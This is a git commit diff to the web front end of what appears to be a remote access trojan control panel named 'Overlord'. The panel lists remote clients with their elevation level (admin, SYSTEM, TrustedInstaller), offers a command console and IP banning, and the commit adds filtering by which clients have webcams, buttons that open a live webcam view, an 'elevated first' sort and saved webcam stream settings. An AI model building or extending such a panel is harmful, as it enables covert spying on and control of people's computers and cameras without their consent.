show if users have webcams and make sorting options better for windows and webcam. Also make webcam settings sticky.

This commit is contained in:
KingKDot
2026-06-12 10:20:02 -05:00
parent b6672ee375
commit cc0e6f737b
15 changed files with 373 additions and 25 deletions
+7 -1
View File
@@ -120,6 +120,7 @@ function clientQueryParams(page = state.page) {
os: state.filterOs || "all",
country: state.filterCountry || "all",
group: state.filterGroup || "all",
webcam: state.filterWebcam || "all",
});
}
@@ -222,6 +223,11 @@ function updateOsFilter(items) {
allOption.textContent = "All OS";
osSelect.appendChild(allOption);
const windowsOption = document.createElement("option");
windowsOption.value = "windows";
windowsOption.textContent = "Windows";
osSelect.appendChild(windowsOption);
osArray.forEach((os) => {
const option = document.createElement("option");
option.value = os;
@@ -229,7 +235,7 @@ function updateOsFilter(items) {
osSelect.appendChild(option);
});
if (currentValue !== "all" && osList.has(currentValue)) {
if (currentValue === "windows" || (currentValue !== "all" && osList.has(currentValue))) {
osSelect.value = currentValue;
}
}
+9
View File
@@ -2277,6 +2277,7 @@ html.nav-pre-sidebar.nav-pre-collapsed #top-nav:empty::before {
#filter-status,
#filter-os,
#filter-group,
#filter-webcam,
#sort {
transition:
border-color 150ms ease,
@@ -2287,6 +2288,7 @@ html.nav-pre-sidebar.nav-pre-collapsed #top-nav:empty::before {
#filter-status:focus,
#filter-os:focus,
#filter-group:focus,
#filter-webcam:focus,
#sort:focus {
border-color: rgba(100, 116, 139, 0.82) !important;
box-shadow: none !important;
@@ -2715,6 +2717,7 @@ textarea,
#filter-status,
#filter-os,
#filter-group,
#filter-webcam,
#sort,
#console-input {
background-color: var(--ui-surface);
@@ -2735,6 +2738,7 @@ textarea:focus,
#filter-status:focus,
#filter-os:focus,
#filter-group:focus,
#filter-webcam:focus,
#sort:focus,
#console-input:focus {
border-color: var(--ui-border-strong) !important;
@@ -2951,6 +2955,9 @@ tbody tr:hover {
.cv-pill-admin { background: rgba(234, 179, 8, 0.12); color: #fde68a; border-color: rgba(234, 179, 8, 0.3); }
.cv-pill-system { background: rgba(239, 68, 68, 0.12); color: #fca5a5; border-color: rgba(239, 68, 68, 0.3); }
.cv-pill-ti { background: rgba(168, 85, 247, 0.12); color: #d8b4fe; border-color: rgba(168, 85, 247, 0.3); }
.cv-pill-webcam { background: rgba(20, 184, 166, 0.12); color: #99f6e4; border-color: rgba(20, 184, 166, 0.3); }
.cv-mini-pill.cv-webcam-btn { padding: 0; cursor: pointer; }
.cv-mini-pill.cv-webcam-btn:hover { background: rgba(20, 184, 166, 0.20); border-color: rgba(20, 184, 166, 0.5); }
.cv-pill-muted { background: rgba(245, 158, 11, 0.12); color: #fcd34d; border-color: rgba(245, 158, 11, 0.3); }
.cv-pill-macperm.is-ok { background: rgba(16, 185, 129, 0.12); color: #86efac; border-color: rgba(16, 185, 129, 0.3); }
.cv-pill-macperm.is-warn { background: rgba(245, 158, 11, 0.12); color: #fcd34d; border-color: rgba(245, 158, 11, 0.3); }
@@ -3228,6 +3235,8 @@ tbody tr:hover {
}
.cv-icon-btn:disabled { opacity: 0.4; cursor: not-allowed; }
.cv-icon-btn.cv-icon-sm { width: 26px; height: 26px; font-size: 11px; }
.cv-icon-btn.cv-webcam-btn { color: #99f6e4; border-color: rgba(20, 184, 166, 0.3); }
.cv-icon-btn.cv-webcam-btn:hover { background: rgba(20, 184, 166, 0.10); border-color: rgba(20, 184, 166, 0.45); }
.cv-icon-btn.cv-icon-danger { color: var(--cv-danger); border-color: rgba(239, 68, 68, 0.25); }
.cv-icon-btn.cv-icon-danger:hover { background: rgba(239, 68, 68, 0.10); border-color: rgba(239, 68, 68, 0.45); }
+18 -1
View File
@@ -28,6 +28,7 @@ const sortSelect = document.getElementById("sort");
const filterStatusSelect = document.getElementById("filter-status");
const filterOsSelect = document.getElementById("filter-os");
const filterGroupSelect = document.getElementById("filter-group");
const filterWebcamSelect = document.getElementById("filter-webcam");
const showOfflineToggle = document.getElementById("toggle-offline");
const displayFieldsMenu = document.getElementById("display-fields-menu");
const selectAllBtn = document.getElementById("select-all");
@@ -56,6 +57,7 @@ const PREF_SORT_KEY = "overlord_sort";
const PREF_FILTER_OS_KEY = "overlord_filter_os";
const PREF_FILTER_COUNTRY_KEY = "overlord_filter_country";
const PREF_FILTER_GROUP_KEY = "overlord_filter_group";
const PREF_FILTER_WEBCAM_KEY = "overlord_filter_webcam";
const PREF_DISPLAY_FIELDS_KEY = "overlord_display_fields";
const DEFAULT_DISPLAY_FIELDS = {
user: true,
@@ -944,6 +946,7 @@ function initializeRenderer() {
requestPreview,
requestThumbnail,
pingClient: (id) => sendCommand(id, "ping"),
onOpenWebcam: (id) => window.open(`/webcam?clientId=${encodeURIComponent(id)}`, "_blank", "noopener"),
onMacPermissionRequest: (id, _card, permissionKey) => requestMacPermissions(id, permissionKey),
onMacPermissionRefresh: (id) => requestMacPermissions(id, "", { refreshOnly: true }),
onMacPermissionApply: (id) => applyMacPermissionChanges(id),
@@ -1057,6 +1060,14 @@ filterGroupSelect?.addEventListener("change", (e) => {
loadWithOptions({ force: true, reorder: true });
});
filterWebcamSelect?.addEventListener("change", (e) => {
state.filterWebcam = e.target.value;
localStorage.setItem(PREF_FILTER_WEBCAM_KEY, state.filterWebcam);
state.page = 1;
state.lastDigest = "";
loadWithOptions({ force: true, reorder: true });
});
import("./country-picker.js").then(({ initCountryPicker }) => {
initCountryPicker((code) => {
state.filterCountry = code;
@@ -1078,7 +1089,7 @@ import("./country-picker.js").then(({ initCountryPicker }) => {
}
const savedSort = localStorage.getItem(PREF_SORT_KEY);
const validSorts = ["stable", "last_seen_desc", "host_asc", "ping_asc", "ping_desc", "country_asc", "country_desc", "group_asc", "group_desc", "admin_first"];
const validSorts = ["stable", "last_seen_desc", "host_asc", "ping_asc", "ping_desc", "country_asc", "country_desc", "group_asc", "group_desc", "admin_first", "elevated_first"];
if (savedSort && validSorts.includes(savedSort)) {
state.sort = savedSort;
if (sortSelect) sortSelect.value = savedSort;
@@ -1100,6 +1111,12 @@ import("./country-picker.js").then(({ initCountryPicker }) => {
state.filterGroup = savedGroup;
if (filterGroupSelect) filterGroupSelect.value = savedGroup;
}
const savedWebcam = localStorage.getItem(PREF_FILTER_WEBCAM_KEY);
if (savedWebcam && ["all", "available", "none"].includes(savedWebcam)) {
state.filterWebcam = savedWebcam;
if (filterWebcamSelect) filterWebcamSelect.value = savedWebcam;
}
})();
showOfflineToggle?.addEventListener("change", (e) => {
+25 -1
View File
@@ -321,6 +321,7 @@ export function createRenderer({
requestPreview,
requestThumbnail,
pingClient,
onOpenWebcam,
onMacPermissionRequest,
onMacPermissionRefresh,
onMacPermissionApply,
@@ -479,6 +480,12 @@ export function createRenderer({
return;
}
if (e.target.closest(".cv-webcam-btn")) {
e.stopPropagation();
if (onOpenWebcam) onOpenWebcam(clientId);
return;
}
if (e.target.closest(".cv-ping-btn")) {
e.stopPropagation();
if (pingClient) pingClient(clientId);
@@ -655,7 +662,7 @@ export function createRenderer({
}
function cardDigest(c) {
return `${currentDisplayDigest}|${currentLayout}|${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${JSON.stringify(c.permissions || {})}|${c.cpu}|${c.gpu}|${c.ram}|${c.batteryPercent}|${c.batteryCharging}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}|${c.groupId}|${c.groupName}|${c.groupColor}|${!!c.notificationsMuted}`;
return `${currentDisplayDigest}|${currentLayout}|${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${JSON.stringify(c.permissions || {})}|${c.cpu}|${c.gpu}|${c.ram}|${c.batteryPercent}|${c.batteryCharging}|${!!c.webcamAvailable}|${JSON.stringify(c.webcamDevices || [])}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}|${c.groupId}|${c.groupName}|${c.groupColor}|${!!c.notificationsMuted}`;
}
function cardThumbDigest(c) {
@@ -789,6 +796,7 @@ export function createRenderer({
el.dataset.customTag = String(client.customTag || "");
el.dataset.bookmarked = String(!!client.bookmarked);
el.dataset.notificationsMuted = String(!!client.notificationsMuted);
el.dataset.hasWebcam = String(!!client.webcamAvailable);
el.dataset.admin = String(!!client.isAdmin);
el.dataset.groupId = String(client.groupId || "");
el.dataset.groupName = String(client.groupName || "");
@@ -833,6 +841,16 @@ export function createRenderer({
return node;
}
function webcamButtonHtml(client, extraClass = "") {
if (!client.webcamAvailable || isViewer) return "";
return `<button type="button" class="cv-icon-btn cv-webcam-btn ${extraClass}" title="Open webcam" aria-label="Open webcam"><i class="fa-solid fa-video"></i></button>`;
}
function webcamBadgeHtml(client) {
if (!client.webcamAvailable || isViewer) return "";
return `<button type="button" class="cv-mini-pill cv-pill-webcam cv-webcam-btn" title="Open webcam" aria-label="Open webcam"><i class="fa-solid fa-video"></i></button>`;
}
function updateCard(card, client) {
const wasChecked = card.querySelector(".client-checkbox")?.checked || false;
const wasTagNoteExpanded = card.dataset.tagNoteExpanded === "true";
@@ -914,6 +932,7 @@ export function createRenderer({
${client.isAdmin ? `<span class="cv-mini-pill cv-pill-admin" title="Admin"><i class="fa-solid fa-shield-halved"></i></span>` : ""}
${client.elevation === "system" ? `<span class="cv-mini-pill cv-pill-system" title="SYSTEM"><i class="fa-solid fa-gear"></i></span>` : ""}
${client.elevation === "trustedinstaller" ? `<span class="cv-mini-pill cv-pill-ti" title="TrustedInstaller"><i class="fa-solid fa-lock"></i></span>` : ""}
${webcamBadgeHtml(client)}
${macPermissionBadgeHtml(client)}
${client.notificationsMuted ? `<span class="cv-mini-pill cv-pill-muted" title="Notifications muted"><i class="fa-solid fa-bell-slash"></i></span>` : ""}
</div>
@@ -930,6 +949,7 @@ export function createRenderer({
<div class="cv-spacer"></div>
<div class="cv-actions">
${isViewer ? "" : `<button class="command-btn cv-btn-primary" data-id="${escapeHtml(client.id)}"><i class="fa-solid fa-terminal"></i><span>Commands</span></button>`}
${webcamButtonHtml(client)}
<button class="cv-icon-btn cv-ping-btn" title="Ping" ${client.online ? "" : "disabled"}><i class="fa-solid fa-satellite-dish"></i></button>
${isViewer ? "" : `<button class="cv-icon-btn cv-icon-danger ban-btn" title="Ban IP" data-id="${escapeHtml(client.id)}"><i class="fa-solid fa-ban"></i></button>`}
<button class="cv-icon-btn cv-expand-btn" title="More info" aria-expanded="false"><i class="fa-solid fa-chevron-down"></i></button>
@@ -993,6 +1013,7 @@ export function createRenderer({
${client.isAdmin ? `<span class="cv-mini-pill cv-pill-admin" title="Admin"><i class="fa-solid fa-shield-halved"></i></span>` : ""}
${client.elevation === "system" ? `<span class="cv-mini-pill cv-pill-system" title="SYSTEM"><i class="fa-solid fa-gear"></i></span>` : ""}
${client.elevation === "trustedinstaller" ? `<span class="cv-mini-pill cv-pill-ti" title="TI"><i class="fa-solid fa-lock"></i></span>` : ""}
${webcamBadgeHtml(client)}
${macPermissionBadgeHtml(client)}
${client.notificationsMuted ? `<span class="cv-mini-pill cv-pill-muted" title="Notifications muted"><i class="fa-solid fa-bell-slash"></i></span>` : ""}
</span>
@@ -1012,6 +1033,7 @@ export function createRenderer({
<td class="cv-td-actions">
<div class="cv-actions cv-actions-table">
${isViewer ? "" : `<button class="command-btn cv-btn-primary cv-btn-sm" data-id="${escapeHtml(client.id)}"><i class="fa-solid fa-terminal"></i><span>Commands</span></button>`}
${webcamButtonHtml(client, "cv-icon-sm")}
${isViewer ? "" : `<button class="cv-icon-btn cv-icon-sm kebab-btn" title="More" data-id="${escapeHtml(client.id)}"><i class="fa-solid fa-ellipsis-vertical"></i></button>`}
</div>
</td>
@@ -1054,6 +1076,7 @@ export function createRenderer({
client.isAdmin ? `<span class="cv-mini-pill cv-pill-admin" title="Admin"><i class="fa-solid fa-shield-halved"></i></span>` : "",
client.elevation === "system" ? `<span class="cv-mini-pill cv-pill-system" title="SYSTEM"><i class="fa-solid fa-gear"></i></span>` : "",
client.elevation === "trustedinstaller" ? `<span class="cv-mini-pill cv-pill-ti" title="TrustedInstaller"><i class="fa-solid fa-lock"></i></span>` : "",
webcamBadgeHtml(client),
macPermissionBadgeHtml(client),
client.notificationsMuted ? `<span class="cv-mini-pill cv-pill-muted" title="Notifications muted"><i class="fa-solid fa-bell-slash"></i></span>` : "",
].join("");
@@ -1102,6 +1125,7 @@ export function createRenderer({
${macPermDetail ? `<div class="cv-card-perms">${macPermDetail}</div>` : ""}
<div class="cv-card-actions">
${isViewer ? "" : `<button class="command-btn cv-btn-primary cv-btn-flex" data-id="${escapeHtml(client.id)}"><i class="fa-solid fa-terminal"></i><span>Commands</span></button>`}
${webcamButtonHtml(client)}
<button class="cv-icon-btn cv-ping-btn" title="Ping" ${client.online ? "" : "disabled"}><i class="fa-solid fa-satellite-dish"></i></button>
${isViewer ? "" : `<button class="cv-icon-btn cv-icon-danger ban-btn" title="Ban IP" data-id="${escapeHtml(client.id)}"><i class="fa-solid fa-ban"></i></button>`}
</div>
+1
View File
@@ -7,6 +7,7 @@ export const state = {
filterOs: "all",
filterCountry: "all",
filterGroup: "all",
filterWebcam: "all",
lastDigest: "",
isLoading: false,
pendingForce: false,
+67 -8
View File
@@ -2,6 +2,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
import { checkFeatureAccess } from "./feature-gate.js";
import { WhepClient } from "./whep.js";
import { P2PClient } from "./webrtc-p2p.js";
import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-settings.js";
(async function () {
const clientId = new URLSearchParams(location.search).get("clientId");
@@ -58,16 +59,53 @@ import { P2PClient } from "./webrtc-p2p.js";
let clientIsAdmin = false;
let firewallWarningAcked = false;
const codecPrefKey = "webcamCodecPreferH264";
let prefersH264 = typeof VideoDecoder === "function";
let savedCameraIndex = null;
const storedCodecPref = localStorage.getItem(codecPrefKey);
if (storedCodecPref === "0") {
prefersH264 = false;
} else if (storedCodecPref === "1") {
prefersH264 = typeof VideoDecoder === "function";
function setSelectValue(select, value) {
if (!select || value === undefined || value === null) return false;
const normalized = String(value);
const exists = Array.from(select.options || []).some((opt) => opt.value === normalized);
if (!exists) return false;
select.value = normalized;
return true;
}
function applySavedCamera() {
if (savedCameraIndex === null || savedCameraIndex === undefined) return false;
if (!setSelectValue(cameraSelect, savedCameraIndex)) return false;
selectedDeviceIndex = Number(cameraSelect.value) || 0;
applyFpsInputLimits();
return true;
}
function applySharedSettings(settings) {
if (!settings || typeof settings !== "object") return;
if (Number.isFinite(Number(settings.camera))) {
savedCameraIndex = Number(settings.camera);
}
if (fpsInput && settings.fps !== undefined) fpsInput.value = String(settings.fps);
if (qualitySlider && settings.quality !== undefined) qualitySlider.value = String(settings.quality);
setSelectValue(webrtcMode, settings.webrtcMode);
if (typeof settings.preferH264 === "boolean") {
prefersH264 = settings.preferH264 && typeof VideoDecoder === "function";
}
applySavedCamera();
}
function readSharedSettings() {
return {
camera: Number(cameraSelect?.value ?? savedCameraIndex ?? 0),
fps: Number(fpsInput?.value || 30),
quality: Number(qualitySlider?.value || 90),
preferH264: !!prefersH264,
webrtcMode: getWebrtcMode(),
};
}
applySharedSettings(await loadSharedUiSettings("webcam"));
const sharedSettingsSaver = createSharedUiSettingsSaver("webcam", readSharedSettings);
if (codecH264) {
codecH264.checked = prefersH264;
codecH264.disabled = typeof VideoDecoder !== "function";
@@ -176,7 +214,9 @@ import { P2PClient } from "./webrtc-p2p.js";
: (dev.name || `Camera ${idx + 1}`);
cameraSelect.appendChild(opt);
}
selectedDeviceIndex = Number(selected) || 0;
selectedDeviceIndex = savedCameraIndex !== null && savedCameraIndex !== undefined
? Number(savedCameraIndex) || 0
: Number(selected) || 0;
const selectedOpt = Array.from(cameraSelect.options).find((o) => Number(o.value) === selectedDeviceIndex);
if (selectedOpt) {
cameraSelect.value = selectedOpt.value;
@@ -185,6 +225,9 @@ import { P2PClient } from "./webrtc-p2p.js";
}
selectedDeviceIndex = Number(cameraSelect.value) || 0;
applyFpsInputLimits();
if (selectedDeviceIndex !== Number(selected || 0) && ws && ws.readyState === WebSocket.OPEN) {
send("webcam_select", { index: selectedDeviceIndex });
}
}
function isH264KeyFrame(data) {
@@ -466,6 +509,10 @@ import { P2PClient } from "./webrtc-p2p.js";
ws.onopen = () => {
requestCameraList();
if (savedCameraIndex !== null && savedCameraIndex !== undefined) {
selectedDeviceIndex = Number(savedCameraIndex) || 0;
send("webcam_select", { index: selectedDeviceIndex });
}
applyFpsSettings();
pushQuality(qualitySlider ? qualitySlider.value : 90);
if (desiredStreaming) {
@@ -543,6 +590,7 @@ import { P2PClient } from "./webrtc-p2p.js";
});
window.addEventListener("beforeunload", () => {
sharedSettingsSaver.saveNow();
if (ws && ws.readyState === WebSocket.OPEN) {
send("webcam_stop");
}
@@ -555,9 +603,11 @@ import { P2PClient } from "./webrtc-p2p.js";
cameraSelect.addEventListener("change", () => {
const index = Number(cameraSelect.value) || 0;
savedCameraIndex = index;
selectedDeviceIndex = index;
applyFpsInputLimits();
send("webcam_select", { index });
sharedSettingsSaver.scheduleSave();
});
fpsInput.addEventListener("input", () => {
@@ -566,18 +616,19 @@ import { P2PClient } from "./webrtc-p2p.js";
if (Number.isFinite(val) && val > maxFps) {
fpsInput.value = String(maxFps);
}
sharedSettingsSaver.scheduleSave();
});
if (codecH264) {
codecH264.addEventListener("change", function () {
prefersH264 = !!codecH264.checked && typeof VideoDecoder === "function";
localStorage.setItem(codecPrefKey, prefersH264 ? "1" : "0");
if (!prefersH264) {
destroyVideoDecoder();
}
if (qualitySlider) {
pushQuality(qualitySlider.value);
}
sharedSettingsSaver.scheduleSave();
});
}
@@ -586,13 +637,21 @@ import { P2PClient } from "./webrtc-p2p.js";
qualitySlider.addEventListener("input", function () {
updateQualityLabel(qualitySlider.value);
pushQuality(qualitySlider.value);
sharedSettingsSaver.scheduleSave();
});
}
applyFps.addEventListener("click", () => {
applyFpsSettings();
sharedSettingsSaver.scheduleSave();
});
if (webrtcMode) {
webrtcMode.addEventListener("change", () => {
sharedSettingsSaver.scheduleSave();
});
}
screenshotBtn.addEventListener("click", () => {
downloadScreenshot();
});
+6 -1
View File
@@ -19,7 +19,7 @@
<script defer src="/vendor/animejs/anime.min.js"></script>
<script defer src="/vendor/chart.js/chart.umd.js"></script>
<script defer src="/vendor/gridstack/gridstack-all.js"></script>
<link rel="preload" href="/api/clients?page=1&amp;pageSize=12&amp;q=&amp;sort=stable&amp;status=all&amp;os=all&amp;country=all&amp;group=all" as="fetch" crossorigin="use-credentials" />
<link rel="preload" href="/api/clients?page=1&amp;pageSize=12&amp;q=&amp;sort=stable&amp;status=all&amp;os=all&amp;country=all&amp;group=all&amp;webcam=all" as="fetch" crossorigin="use-credentials" />
<link rel="preload" href="/api/auth/me" as="fetch" crossorigin="use-credentials" />
<link rel="preload" href="/api/groups" as="fetch" crossorigin="use-credentials" />
</head>
@@ -184,6 +184,10 @@
<option value="all">All Groups</option>
<option value="none">No Group</option>
</select>
<select id="filter-webcam">
<option value="all">All Webcams</option>
<option value="available">Has Webcam</option>
</select>
<div id="country-picker-anchor" class="relative"></div>
</div>
</details>
@@ -201,6 +205,7 @@
<option value="group_asc">Group A-Z</option>
<option value="group_desc">Group Z-A</option>
<option value="admin_first">Admin first</option>
<option value="elevated_first">Elevated first</option>
</select>
</div>
</details>